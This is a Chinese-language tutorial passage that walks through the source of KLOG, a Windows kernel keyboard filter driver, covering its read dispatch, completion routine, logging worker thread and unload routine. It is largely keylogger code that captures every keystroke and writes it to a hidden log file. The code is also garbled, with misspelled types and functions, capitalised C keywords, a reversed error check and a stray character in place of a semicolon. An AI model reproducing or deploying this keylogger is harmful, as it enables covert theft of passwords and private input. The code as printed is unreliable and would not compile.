为处理READ请求而调用的例程是DispatchRead。下面具体分析该函数:
NTSTAUS DispatchRead ( IN PDEVICE_OBJECT pDeviceObject, IN PIRPpIrp)
{
当一个READ请求到达键盘控制器时,就调用该函数。这时IRP中并没有可用的数据。相反我们希望在捕获了击键动作之后查看IRP——当IRP正在沿着设备链向上传输时。
关于IRP已经完成的唯一通知方式是设置完成例程,如果没有设置完成例程,则当IRP沿着设备链上返回是会忽略我们的存在。
将IRP传递给链中次底层设备时,需要设置IRP堆栈指针(stack pointer).术语堆栈在此处容易产生误解:每个设备只是在每个IRP中有一段私有的可用内存。这些私有区域以指定顺序排列。通过IoGetCurrentIrpStackLocation和IoGetNextIrpStackLocation调用来获取这些私有区域的指针,在传递IRP之前,一个“当前”指针必须指向低层驱动程序的私有区域,因此,在调用IoCallDriver之前要调用IoCopyCurrentIrpStackLocationToNext;
// Copy parameters down to next level in the stack
// for the driver below us
IoCopyCurrentIrpStackLocationToNext(pIrp);
// Note that the completion routine is named “OnReadCompleion”:
// Set the completion callback
IoSetCompletionRoutine(pIrp,
OnReadCompletion,
pDeviceObject,
TRUE,
TRUE,
TRUE);
将挂起的IRP数目记录下来,以便等处理完成后再卸载驱动程序
// Track the # of pending IRPs
numPendingIrps++;
最后通过IoCallDriver将IRP传递给链中的次底层设备,记住指向低层次设备的指针存储在Device_Extension中的pKeyboardDevice中。
// Pass the IRP on down to \the driver underneath us
Return IoCallDriver(
((PDEVICE_EXTENSION) pDeviceObject->DeviceExtension)
->pKeyboardDevice, pIrp);
}// end DispatchRead
现在可以看到,每个READIRP在处理之后可用于OnReadCompletion例程中。进一步对比加以分析:
NSTATUS OnReadCompletion ( IN PDEVICE_OBJECT pDeviceObject,
INPRP pIrp, IN PVOID Context)
{
// Get the device extension– we’ll need to use it later
PDEVICE_EXTENSIONpKeyboardDeviceExtension =(PDEVICE_EXTENSION)pDeviceObject->DeviceExtension;
检查IRP状态,它可以当作返回码或错误码,该值为STATUS_SUCCESS表明IRP已成功完成并且应该记录了击键数据。SystemBuffer成员指向KEYBOARD_INPUT_DATA结构的数组。IoStatus.Information成员包含了该数组的长度:
If(pIrp->IoStatus.Status == STATUS_SUCCESS)
{
PKEYBOARD_INPUT_DATA keys =(PKEYBORAD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer;
Int numKeys = pIrp->IoStatus.Information /sizeof(KEYBOARD_INPUT_DATA);
KEYBOARD_INPUT_DATA结构定义如下:
Typedef struct _KEYBOARD_INPUT_DATA{
USHORT UnitId;
USHORT MakeCode;
USHORT Flags;
USHORT Reserved;
ULONG ExtraInformation;
} KEYBOARD_INPUT_DATA, *PKEYBOARD_INPUT_DATA;
然后示例程序循环遍历所有的数组成员,从每个成员中获取击键动作:
For(int I = 0; I < numkeys; i++)
{
DbgPrint(“ScanCode: %x\n”,keys[i].MakeCode);
注意会收到两个事件:键按下和键释放。对于简单的击键监视器来说,只需关注其中一个事件,KEY_MAKE是一个重要标志。
If(keys[i].Flags == KEY_MAKE)
DbgPrint(“%s\n”, “Key Down”)l
上述完成例程在IRQL级别DISPATCH_LEVEL上执行,这意味着它不允许文件操作,为了避开这个限制,示例程序通过一个共享链表将击键动作传递给worker线程。对该链表的访问必须采用关键段来同步。内核实施以下规则:一次只能有一个线程执行关键段。此处不能使用延迟过程调用(Deferred Procedure Call, DPC),因此DPC也运行在DISPATCH_LEVEL级别上。
驱动程序分配一些NonPagedPool内存,并将扫描码放入其中,然后将其置入链表中。因为运行在DISPATCH级别上,所以只能从NonPagedPool中分配内存。
KEY_DATA* kData =(KEY_DATA*)ExAllocatePool(NonPagedPool, sizeof(KEY_DATA));
// Fill in kData structure with info from IRP
kData->KeyData = (char)keys[i].MakeCode;
kData->KeyFlags=(char)keys[i].Flgas;
// Add the scan code to the linked list
// queue so our worker thread
// can write it out to a file
DbgPrint(“Adding IRP to work queue…”);
ExInterlockedInsertTailList(&pKeyboardDeviceExtension->QueueListHead,&kData->ListEntry,
&pKeyboardDeviceExtension->lockQueue);
// The semaphore is incremented to indicate that some data needs tobe processed
// Increment the semaphore by 1 – no WaitForXXX after this call
KeReleaseSemaphore(&pKeyboradDeviceExtension->semQueue,
0,
1,
FALSE);
}
}
If(pIrp->PendingReturned)
IoMarkIrpPending(pIrp);
示例完成了对IRP的处理,将IRP计数递减
numPendingIrps- -;
return pIrp->IoStatus.Status;
}
此时在链表中已保存了一个击键动作,它用于worker线程,下面介绍worker线程的例程:
VOID ThreadKeyLogger ( IN PVOID pContext)
{
PDEVICE_EXTENSIONpKeyboardDeviceExtension = (PDEVICE_EXTENSION)pContext;
PDEVICE_OBJECTpKeyboardDeviceObject = pKeyboardDeviceExtension->pKeyboardDevice;
PLIST_ENTRY pListEntry;
KEY_DATA *kData; // custom data structure used to hold scancodes inthe linked list
KLOG进入一个处理循环。代码通过KeWaitForSingleObject等待信号量。若信号量递增,则处理循环继续运行
While(true)
{
// Wait for data to becomeavailable in the queue
KeWaitForSingleObject(
&pKeyboardDeviceExtension->semQueue,
Executive,
KernelMode,
FALSE,
NULL);
从链表中安全删除了最高端项。注意关键段的用法:
pListEntry = ExInterlockedRemoveHeadList(
&pKeyboardDeviceExtension->QueueListHead,
&pKeyboardDeviceEntension->lockQueue);
内核线程不能从外部终止,它们只能终止自身。KLOG检查一个标志以判断是否应该终止worker线程。该操作应该只放生在卸载KLOG时。
If(pKeyboardDeviceExtension->bThreadTerminate == true)
{
PsTerminateSystemThread(STATUS_SUCCESS);
}
必须使用CONTAINING_RECORD宏来获得指向pListEntry结构中数据的指针:
kData = CONTANING_RECORD(pListEntry, KEY_DATA, ListEntry);
KLOG获取扫描码并将其转换成键盘码。这通过ConvertScanCodeToKeyCode工具函数完成,该函数只识别美国英语键盘布局,尽管它很容易替换为适用于其他键盘布局的代码。
// Convert the scan code to a key code
Char keys[3] = {0};
ConvertScanCodeToKeyCode(pKeyboardDeviceExtension, kData, keys);
// Make sure the key has returned a valid code
// before writing it to the file
If (keys != 0)
{
若文件句柄是有效的,则使用ZwWriteFile将键盘盘码写入日志:
// Write the data out to a file
If(pKeyboardDeviceExtension->hLogFile != NULL)
{
IO_STATUS_BLOCK io_status;
NTSTATUS status =ZwWriteFile(
pKeyboardDeviceExtension->hLogFile,
NULL,
NULL,
NULL,
&io_status,
&keys,
Strlen(keys),
NULL,
NULL);
If(status != STATUS_SUCCESS)
DbgPrint(“Writing scancode to file…\n”);
Else
DbgPrint(“Scan code ‘%s’successfully written to file.\n”, keys);
}// end if
}// end if
}// end while
Return;
} // end ThreadLogKeyboard
以上是KLOG的主要操作。下面分析Unload例程
VOID Unload ( IN PDRIVER_OBJECT pDriverObject)
{
// Get the pointer to thedevice extension
PDEVICE_EXTENSIONpKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDriverObject->DeviceObject->DeviceExtension;
DbgPrint(“Driver Unload Called… \n”);
驱动程序必须使用IoDetachDevice函数取下分层设备的钩子:
// Detach from the device underneath that we’re hooked to.
IoDetachDevice(pKeyboardDeviceExtension->pKeyboardDevice);
DbgPrint(“Keyboard hook detached from device…\n”);
下面使用了一个定时器,KLOG进入一个短循环,直到所有IRP完成处理:
// Create a timer
KTIMER kTimer;
LARGE_INTEGER timeout;
Timeout.QuadPart = 1000000;
KeInitializeTimer(&kTimer);
在某个IRP正在等待击键动作,则直到按下一个键后卸载才能完成:
While(numPendingIrps > 0)
{
// Set the timer
KeSetTimer(&kTimer, timeout,NULL);
KeWaitForSingleObject(
&kTimer,
Executive,
KernelMode,
False,
NULL);
}
此时KLOG指示worker线程应该终止:
// Set our key logger worker thread to terminate
pKeyboardDeviceExtension->bThreadTerminate = true;
// Wake up the thread if its blocked & WaitForXXX after thiscall
KeReleaseSemaphore(
&pKeyboardDeviceExtension->semQueue,
0,
1,
TRUE);
KLOG使用线程指针调用KeWaitForSingleObject, 一直等候到该线程已终止:
// Wait until the worker thread terminates
DbgPrint(“Waiting for key logger thread to terminate…\n”);
KeWaitForSingleObject(pKeyboardDeviceExtension->pThreadObj,
Executive,
KernelMode,
False,NULL);
DbgPrint(“Key logger thread terminated\n”);
最后关闭日志文件:
// close the log file
ZwClose(pKeyboardDeviceExtension->hLogFile);
还执行一些适当的常规清理动作:
// Delete the device
IoDeleteDevice(pDriverObject->DeviceObject);
DbgPrint(“Tagged IRPs dead … Terminating ...\n”);
Return;
}
键盘嗅探器结束。